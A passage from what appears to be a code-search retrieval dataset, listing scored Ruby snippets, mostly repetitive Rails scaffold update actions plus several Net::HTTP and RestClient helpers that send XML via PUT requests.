assert_equal(\n 'hello',\n @server.tree.node_for_path('file2').get\n )\n\n assert_equal(\n {\n 'X-Sabre-Version' => [Version::VERSION],\n 'Content-Length' => ['0'],\n 'ETag' => [\"\\\"#{Digest::MD5.hexdigest('hello')}\\\"\"]\n },\n response.headers\n )\n end", "title": "" }, { "docid": "cf7581a1ccd9ff9352e577b25b44fd5d", "score": "0.57215756", "text": "def update\n @post144 = Post144.find(params[:id])\n\n respond_to do |format|\n if @post144.update_attributes(params[:post144])\n format.html { redirect_to(@post144, :notice => 'Post144 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post144.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "eef7009fbd3b5d99e29dfadf2f46ae1b", "score": "0.57100636", "text": "def update\n @post207 = Post207.find(params[:id])\n\n respond_to do |format|\n if @post207.update_attributes(params[:post207])\n format.html { redirect_to(@post207, :notice => 'Post207 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post207.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "be750611d322fc962069a371147d95af", "score": "0.57091224", "text": "def put_octect(uri, data, manage_errors)\n headers = build_headers(@token)\n headers[\"Content-Type\"] = 'application/octet-stream'\t\n req = Net::HTTP::Put.new(uri.request_uri, initheader = headers)\n req.body = data\n return do_request(uri, req, manage_errors, 0)\n end", "title": "" }, { "docid": "82614acaaacef50ccc4ed62d41e1b422", "score": "0.57075506", "text": "def update\n @post178 = Post178.find(params[:id])\n\n respond_to do |format|\n if @post178.update_attributes(params[:post178])\n format.html { redirect_to(@post178, :notice => 'Post178 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post178.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d9c9ed1a785f637867d3db4942bfdd26", "score": "0.5702932", "text": "def update\n @post201 = Post201.find(params[:id])\n\n respond_to do |format|\n if @post201.update_attributes(params[:post201])\n format.html { redirect_to(@post201, :notice => 'Post201 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post201.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e2e55a6ecb4c00b7fe18a670cc021207", "score": "0.5696457", "text": "def put_entry(id,summary)\n xml = <<DATA\n <entry xmlns=\"http://purl.org/atom/ns#\">\n <summary type=\"text/plain\"></summary>\n </entry>\nDATA\n\n doc = REXML::Document.new(xml)\n doc.elements['/entry/summary'].add_text(summary)\n\n # REXML -> String\n data=String.new\n doc.write(data)\n\n #make request\n path=\"/atom/edit/#{id}\"\n req=Net::HTTP::Put.new(path)\n req['Accept']= 'application/x.atom+xml,application/xml,text/xml,*/*',\n req['X-WSSE']= @credential_string\n\n #YHAAAA!!!\n res = @http.request(req,data)\n return res\n end", "title": "" }, { "docid": "26aad9fd3c218beeef13b05af9d1c697", "score": "0.56952673", "text": "def update\n @post373 = Post373.find(params[:id])\n\n respond_to do |format|\n if @post373.update_attributes(params[:post373])\n format.html { redirect_to(@post373, :notice => 'Post373 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post373.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6fd8842ed08fa1572950f3e78514aecf", "score": "0.56949663", "text": "def do_PUT(req, res)\n domain, resource, id, format = parse_request_path(req.path_info)\n attributes = from_xml(resource, req.body)\n attributes['updated-at'] = Time.now.iso8601\n logger.debug \"Updating item with attributes: #{attributes.inspect}\"\n sdb_put_item(domain, attributes, true)\n raise WEBrick::HTTPStatus::OK\n end", "title": "" }, { "docid": "69202f47b2943495c626a602ddd4143c", "score": "0.569214", "text": "def update\n @post67 = Post67.find(params[:id])\n\n respond_to do |format|\n if @post67.update_attributes(params[:post67])\n format.html { redirect_to(@post67, :notice => 'Post67 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post67.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "231e8138063aecde0d81825cd71d8b3e", "score": "0.5691716", "text": "def update\n @post177 = Post177.find(params[:id])\n\n respond_to do |format|\n if @post177.update_attributes(params[:post177])\n format.html { redirect_to(@post177, :notice => 'Post177 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post177.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4b1cba03cc6c511e08a7aea6a714d445", "score": "0.56843793", "text": "def update\n @post171 = Post171.find(params[:id])\n\n respond_to do |format|\n if @post171.update_attributes(params[:post171])\n format.html { redirect_to(@post171, :notice => 'Post171 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post171.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "03bf7f12b9fe0c28bfb4315f818bf26b", "score": "0.5681536", "text": "def update\n @post151 = Post151.find(params[:id])\n\n respond_to do |format|\n if @post151.update_attributes(params[:post151])\n format.html { redirect_to(@post151, :notice => 'Post151 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post151.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b428e750b730404a4b5efb772e13eb4b", "score": "0.56786644", "text": "def update\n @post135 = Post135.find(params[:id])\n\n respond_to do |format|\n if @post135.update_attributes(params[:post135])\n format.html { redirect_to(@post135, :notice => 'Post135 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post135.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5a9cb59962595d61d53499249cca568a", "score": "0.5673826", "text": "def update\n @post175 = Post175.find(params[:id])\n\n respond_to do |format|\n if @post175.update_attributes(params[:post175])\n format.html { redirect_to(@post175, :notice => 'Post175 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post175.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "943f3acd2f57e68ade7f7fe8e4733262", "score": "0.5666525", "text": "def update\n @post187 = Post187.find(params[:id])\n\n respond_to do |format|\n if @post187.update_attributes(params[:post187])\n format.html { redirect_to(@post187, :notice => 'Post187 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post187.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c8aeeb8195868bf9dcb1ebc5bb84ac56", "score": "0.5665614", "text": "def update\n @post173 = Post173.find(params[:id])\n\n respond_to do |format|\n if @post173.update_attributes(params[:post173])\n format.html { redirect_to(@post173, :notice => 'Post173 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post173.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b11a5859a93bf961f4f2a61f699ffa8c", "score": "0.566466", "text": "def update\n @post170 = Post170.find(params[:id])\n\n respond_to do |format|\n if @post170.update_attributes(params[:post170])\n format.html { redirect_to(@post170, :notice => 'Post170 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post170.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3f67b61e74a9e645824082659987310d", "score": "0.56623477", "text": "def update\n @post232 = Post232.find(params[:id])\n\n respond_to do |format|\n if @post232.update_attributes(params[:post232])\n format.html { redirect_to(@post232, :notice => 'Post232 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post232.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8e18db431964c254de53caa41795b702", "score": "0.5656968", "text": "def put *args\n make_request :put, *args\n end", "title": "" }, { "docid": "38abce45815cab6d637f8d16adc478be", "score": "0.5654971", "text": "def update\n @post271 = Post271.find(params[:id])\n\n respond_to do |format|\n if @post271.update_attributes(params[:post271])\n format.html { redirect_to(@post271, :notice => 'Post271 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post271.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a1db7f1ff4b97e0b9cad64d05b57cfe8", "score": "0.5651496", "text": "def update\n @post259 = Post259.find(params[:id])\n\n respond_to do |format|\n if @post259.update_attributes(params[:post259])\n format.html { redirect_to(@post259, :notice => 'Post259 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post259.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6eccf0cb1ebc7404a9ae8d73fad0c91a", "score": "0.5647682", "text": "def put(*args)\n request :put, *args\n end", "title": "" }, { "docid": "c282e2e405577af4a750ec6c97d8e0c5", "score": "0.564693", "text": "def update\n @post148 = Post148.find(params[:id])\n\n respond_to do |format|\n if @post148.update_attributes(params[:post148])\n format.html { redirect_to(@post148, :notice => 'Post148 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post148.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "147a3abf441eb7e8f7a289e7c02a9372", "score": "0.56458384", "text": "def update\n @post73 = Post73.find(params[:id])\n\n respond_to do |format|\n if @post73.update_attributes(params[:post73])\n format.html { redirect_to(@post73, :notice => 'Post73 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post73.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "47a4083a43e5d5f387d479fc70f23869", "score": "0.5637289", "text": "def update\n @post132 = Post132.find(params[:id])\n\n respond_to do |format|\n if @post132.update_attributes(params[:post132])\n format.html { redirect_to(@post132, :notice => 'Post132 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post132.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "518f86f04d1d90a9637e1084c67d9409", "score": "0.5633656", "text": "def update\n @post179 = Post179.find(params[:id])\n\n respond_to do |format|\n if @post179.update_attributes(params[:post179])\n format.html { redirect_to(@post179, :notice => 'Post179 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post179.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "49f6ab07066d89b76214f244b79b4a1c", "score": "0.56217635", "text": "def update\n @post153 = Post153.find(params[:id])\n\n respond_to do |format|\n if @post153.update_attributes(params[:post153])\n format.html { redirect_to(@post153, :notice => 'Post153 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post153.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d61a25d69ed10b03601d4f17ba7d9ef3", "score": "0.56137717", "text": "def update\n #RAILS_DEFAULT_LOGGER.debug(\"******** REST Call to CRMS: Updating #{self.class.name}:#{self.id}\")\n #RAILS_DEFAULT_LOGGER.debug(caller[0..5].join(\"\\n\")) \n response = connection.put(element_path(prefix_options), to_xml, self.class.headers)\n save_nested\n load_attributes_from_response(response)\n merge_saved_nested_resources_into_attributes\n response\n end", "title": "" }, { "docid": "c9e03c6e9cea3ad78ce7eeb88229ded5", "score": "0.5610703", "text": "def update\n @post185 = Post185.find(params[:id])\n\n respond_to do |format|\n if @post185.update_attributes(params[:post185])\n format.html { redirect_to(@post185, :notice => 'Post185 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post185.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dcf387ecab8abd87e3deadd6c1109ca9", "score": "0.5609372", "text": "def update\n @post225 = Post225.find(params[:id])\n\n respond_to do |format|\n if @post225.update_attributes(params[:post225])\n format.html { redirect_to(@post225, :notice => 'Post225 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post225.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ccfac8f6948648205e3b9cf037ee8e84", "score": "0.5608309", "text": "def put(nsc, uri, payload = nil, content_type = CONTENT_TYPE::XML)\n put = Net::HTTP::Put.new(uri)\n put.set_content_type(content_type)\n put.body = payload.to_s if payload\n request(nsc, put)\n end", "title": "" }, { "docid": "b49c30265b68873087f9fe0c7b2a482d", "score": "0.5604422", "text": "def update\n \n uploaded_file = params[:xml_file]\n doc = REXML::Document.new uploaded_file\n doc = parse_xml(doc)\n data = \"\"\n doc.write data, -1\n \n# data = uploaded_file.read if uploaded_file.respond_to? :read\n \n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes({:title => params[:title], :content => data})\n flash[:notice] = 'Document was successfully updated.'\n format.html { redirect_to(@document) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "46a50e899d4808f8dc7ae1f9f76746aa", "score": "0.56013304", "text": "def update\n @post112 = Post112.find(params[:id])\n\n respond_to do |format|\n if @post112.update_attributes(params[:post112])\n format.html { redirect_to(@post112, :notice => 'Post112 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post112.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ba1fec11c6013fd1e88889961608634a", "score": "0.55970144", "text": "def update\n @post200 = Post200.find(params[:id])\n\n respond_to do |format|\n if @post200.update_attributes(params[:post200])\n format.html { redirect_to(@post200, :notice => 'Post200 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post200.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f7f153b4737baed4213b93ff678c2b3c", "score": "0.55948216", "text": "def update\n @post115 = Post115.find(params[:id])\n\n respond_to do |format|\n if @post115.update_attributes(params[:post115])\n format.html { redirect_to(@post115, :notice => 'Post115 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post115.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "acd21f936d8276e3c881004d32bb981b", "score": "0.55946857", "text": "def update\n @post80 = Post80.find(params[:id])\n\n respond_to do |format|\n if @post80.update_attributes(params[:post80])\n format.html { redirect_to(@post80, :notice => 'Post80 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post80.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ed46275f8f6f9727cd9c5632ce04964c", "score": "0.5592338", "text": "def update\n # Given the ID and Trend_Name and Comment Text, update\n uuid = params[:uuid]\n topic = params[:topic]\n comment = params[:comment]\n location_id = params[:location_id]\n\n # # to change later\n # uuid = \"91de7ee4-1cde-4aa8-9d0e-e16f46236d2f\"\n # comment = \"this is awesome111111!\"\n # topic = \"soytanrudo\"\n\n url= \"http://localhost:8080\"\n get_str = \"exist/atom/content/4302Collection/\"+location_id+\"/?id=urn:uuid:%s\"%uuid\n r = RestClient::Resource.new url\n res = r[get_str].get\n #puts res\n\n atom_string = res\n user_comment = comment\n\n atom_xml = Nokogiri::XML(atom_string)\n\n comment_ns = \"http://my.superdupertren.ds\"\n\n # assume the item exists and that there's only one of them\n topic_node = atom_xml.xpath(\"//tw:trend[@topic='\"+topic+\"']\", {\"tw\" => \"http://api.twitter.com\"})[0]\n\n puts \"Topic\"\n puts topic\n puts \"Comment\"\n puts user_comment\n\n comment_nodes = topic_node.xpath(\"//tw:trend[@topic='\"+topic+\"']/cm:user_comment\", {\"tw\" => \"http://api.twitter.com\", \"cm\" => comment_ns})\n if (comment_nodes.first)\n # Find user_comment node first and edit it\n comment_nodes.first.content = user_comment\n puts \"we found the comment nodes!!!!\"\n else\n # Create new node and add\n new_node = Nokogiri::XML::Node.new(\"user_comment\", atom_xml)\n new_node.add_namespace(nil, comment_ns)\n new_node.content = user_comment\n topic_node.add_child(new_node)\n end\n\n #update entry\n #puts atom_xml.to_xml\n\n url= \"http://localhost:8080\"\n r = RestClient::Resource.new url\n post_str = \"exist/atom/edit/4302Collection/\"+location_id+\"/?id=urn:uuid:%s\" % uuid\n res = r[post_str].put atom_xml.to_xml, :content_type => \"application/atom+xml\"\n\n #puts res\n render :xml => res\n\n end", "title": "" }, { "docid": "aa1baa3360ff41c27f73bcf5786bcd5f", "score": "0.55877984", "text": "def update\n @post71 = Post71.find(params[:id])\n\n respond_to do |format|\n if @post71.update_attributes(params[:post71])\n format.html { redirect_to(@post71, :notice => 'Post71 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post71.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5a9c06121166d69d991f0b967bab3162", "score": "0.55869526", "text": "def update\n @post261 = Post261.find(params[:id])\n\n respond_to do |format|\n if @post261.update_attributes(params[:post261])\n format.html { redirect_to(@post261, :notice => 'Post261 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post261.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9b5daa6b1877e5ea97d2f8a75fda0e21", "score": "0.5586655", "text": "def save\n self.parameters #transform the parameters, if they're not already!!\n uri = URI.parse(self.href)\n connection.put(uri.path, resource_singular_name.to_sym => @params)\n end", "title": "" }, { "docid": "ce66bf88bb18ea7c7b3429e158ef1c72", "score": "0.55864257", "text": "def update\n @post163 = Post163.find(params[:id])\n\n respond_to do |format|\n if @post163.update_attributes(params[:post163])\n format.html { redirect_to(@post163, :notice => 'Post163 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post163.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "449ac2400cbd9823a2d61cabf36b08d0", "score": "0.5585258", "text": "def update\n @post56 = Post56.find(params[:id])\n\n respond_to do |format|\n if @post56.update_attributes(params[:post56])\n format.html { redirect_to(@post56, :notice => 'Post56 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post56.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "40a69ee168f28ca03439f78ed24536da", "score": "0.5579488", "text": "def update\n @post208 = Post208.find(params[:id])\n\n respond_to do |format|\n if @post208.update_attributes(params[:post208])\n format.html { redirect_to(@post208, :notice => 'Post208 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post208.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2c6f7203729432337bb2435ec7ddae02", "score": "0.557409", "text": "def update\n @post198 = Post198.find(params[:id])\n\n respond_to do |format|\n if @post198.update_attributes(params[:post198])\n format.html { redirect_to(@post198, :notice => 'Post198 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post198.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5ff44e20dbee67a4604a197166d8b2a3", "score": "0.55716515", "text": "def test_save_update\n\n mx234a_pre_art = design_reviews(:mx234a_pre_artwork)\n \n put(:save_update,\n { :doc_id => design_review_documents(:mx234a_stackup_doc),\n :document => { :name => 'test.doc',\n :data => 'TEST DATA',\n :content_type => 'txt' }, \n :design_review => { :id => mx234a_pre_art.id } },\n cathy_admin_session)\n assert_redirected_to(:action => :review_attachments,\n :design_review_id => mx234a_pre_art.id)\n assert_equal('The Stackup document has been updated.', flash['notice'])\n \n ### TODO - FIGURE OUT HOW TO LOAD A DOC FOR TESTING.\n\n end", "title": "" }, { "docid": "44ef976fb6944a221f3837bd995f99f9", "score": "0.55664927", "text": "def update\n @post79 = Post79.find(params[:id])\n\n respond_to do |format|\n if @post79.update_attributes(params[:post79])\n format.html { redirect_to(@post79, :notice => 'Post79 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post79.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "537ffb6f57303285da6e62e2d3f42a24", "score": "0.5566248", "text": "def update\n @post189 = Post189.find(params[:id])\n\n respond_to do |format|\n if @post189.update_attributes(params[:post189])\n format.html { redirect_to(@post189, :notice => 'Post189 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post189.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6e2612e562749d74a9ae623e96014d97", "score": "0.5565589", "text": "def save_question(uin, xml)\n uri = File.join(@base_url, \"api/qais/questions\", uin)\n issue_request(:put, uri, xml)\n end", "title": "" }, { "docid": "eee57b1575889122aea2c2ef51f8fdfa", "score": "0.55622536", "text": "def update\n @post95 = Post95.find(params[:id])\n\n respond_to do |format|\n if @post95.update_attributes(params[:post95])\n format.html { redirect_to(@post95, :notice => 'Post95 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post95.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "55eaeb568c5c2ef9bb2ea917110674ba", "score": "0.55537146", "text": "def update\n @post345 = Post345.find(params[:id])\n\n respond_to do |format|\n if @post345.update_attributes(params[:post345])\n format.html { redirect_to(@post345, :notice => 'Post345 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post345.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3a5ee78b07f22cdd8cb25c3fb856895", "score": "0.555358", "text": "def update\n @post25 = Post25.find(params[:id])\n\n respond_to do |format|\n if @post25.update_attributes(params[:post25])\n format.html { redirect_to(@post25, :notice => 'Post25 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post25.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "da7eda111b36f0bb34bdb093e6a4963b", "score": "0.55510455", "text": "def update\n @post91 = Post91.find(params[:id])\n\n respond_to do |format|\n if @post91.update_attributes(params[:post91])\n format.html { redirect_to(@post91, :notice => 'Post91 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post91.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2460991084698dd68312307c38950332", "score": "0.5550387", "text": "def update\n @post270 = Post270.find(params[:id])\n\n respond_to do |format|\n if @post270.update_attributes(params[:post270])\n format.html { redirect_to(@post270, :notice => 'Post270 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post270.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cbafa1ee7f977a1a4163859d1009c581", "score": "0.555036", "text": "def update\n @post327 = Post327.find(params[:id])\n\n respond_to do |format|\n if @post327.update_attributes(params[:post327])\n format.html { redirect_to(@post327, :notice => 'Post327 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post327.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e0f3447b537b59f313011d368ccc3cd1", "score": "0.55503553", "text": "def update\n @post258 = Post258.find(params[:id])\n\n respond_to do |format|\n if @post258.update_attributes(params[:post258])\n format.html { redirect_to(@post258, :notice => 'Post258 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post258.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "87748658783c3b521189b6e3f53dd005", "score": "0.5549763", "text": "def update\n @post142 = Post142.find(params[:id])\n\n respond_to do |format|\n if @post142.update_attributes(params[:post142])\n format.html { redirect_to(@post142, :notice => 'Post142 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post142.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1c1c29d0180107c45bc278570f7a3a1", "score": "0.55477595", "text": "def update\n @post98 = Post98.find(params[:id])\n\n respond_to do |format|\n if @post98.update_attributes(params[:post98])\n format.html { redirect_to(@post98, :notice => 'Post98 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post98.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e71ede34385e40b325b0b08f8520eb86", "score": "0.5547643", "text": "def update\n @post467 = Post467.find(params[:id])\n\n respond_to do |format|\n if @post467.update_attributes(params[:post467])\n format.html { redirect_to(@post467, :notice => 'Post467 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post467.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b17395ef5de887911ff4e066f56e165d", "score": "0.5544269", "text": "def update\n @post17 = Post17.find(params[:id])\n\n respond_to do |format|\n if @post17.update_attributes(params[:post17])\n format.html { redirect_to(@post17, :notice => 'Post17 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post17.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "59e5dfb17437ccaf751ae86c5b23068a", "score": "0.55409425", "text": "def update\n @post102 = Post102.find(params[:id])\n\n respond_to do |format|\n if @post102.update_attributes(params[:post102])\n format.html { redirect_to(@post102, :notice => 'Post102 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post102.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fed201451a956693a59024aa506fec88", "score": "0.5540655", "text": "def update\n @post473 = Post473.find(params[:id])\n\n respond_to do |format|\n if @post473.update_attributes(params[:post473])\n format.html { redirect_to(@post473, :notice => 'Post473 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post473.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1576f687b56a79f8a95e522a0ccc6bc4", "score": "0.55272204", "text": "def update\n @post94 = Post94.find(params[:id])\n\n respond_to do |format|\n if @post94.update_attributes(params[:post94])\n format.html { redirect_to(@post94, :notice => 'Post94 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post94.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a6eaddde60ad0ad290c11346400ad414", "score": "0.5520212", "text": "def put\n request = Net::HTTP::Put.new(endpoint_uri.request_uri)\n request.basic_auth Unfuzzle.username, Unfuzzle.password\n request.content_type = 'application/xml'\n \n Response.new(client.request(request, @payload))\n end", "title": "" }, { "docid": "4362a0d3d5684e00c9cde736438b51a6", "score": "0.55197394", "text": "def update\n @post247 = Post247.find(params[:id])\n\n respond_to do |format|\n if @post247.update_attributes(params[:post247])\n format.html { redirect_to(@post247, :notice => 'Post247 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post247.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9dae5e2ee72296d8c6954bd126f37d64", "score": "0.55172044", "text": "def update\n @post146 = Post146.find(params[:id])\n\n respond_to do |format|\n if @post146.update_attributes(params[:post146])\n format.html { redirect_to(@post146, :notice => 'Post146 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post146.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "90ccaceeaf25b5341b5fcd9139bb1477", "score": "0.5514104", "text": "def update\n @post140 = Post140.find(params[:id])\n\n respond_to do |format|\n if @post140.update_attributes(params[:post140])\n format.html { redirect_to(@post140, :notice => 'Post140 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post140.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9176b1b0bdde9517ae585ce5412b080a", "score": "0.55105853", "text": "def update\n @post291 = Post291.find(params[:id])\n\n respond_to do |format|\n if @post291.update_attributes(params[:post291])\n format.html { redirect_to(@post291, :notice => 'Post291 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post291.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "42b31dbb34a809790136e75e2c05d706", "score": "0.55105", "text": "def update\n @post498 = Post498.find(params[:id])\n\n respond_to do |format|\n if @post498.update_attributes(params[:post498])\n format.html { redirect_to(@post498, :notice => 'Post498 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post498.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c9aaf2bcb6070e4bd1697b3a12aacf78", "score": "0.5508336", "text": "def update\n @post51 = Post51.find(params[:id])\n\n respond_to do |format|\n if @post51.update_attributes(params[:post51])\n format.html { redirect_to(@post51, :notice => 'Post51 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post51.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { 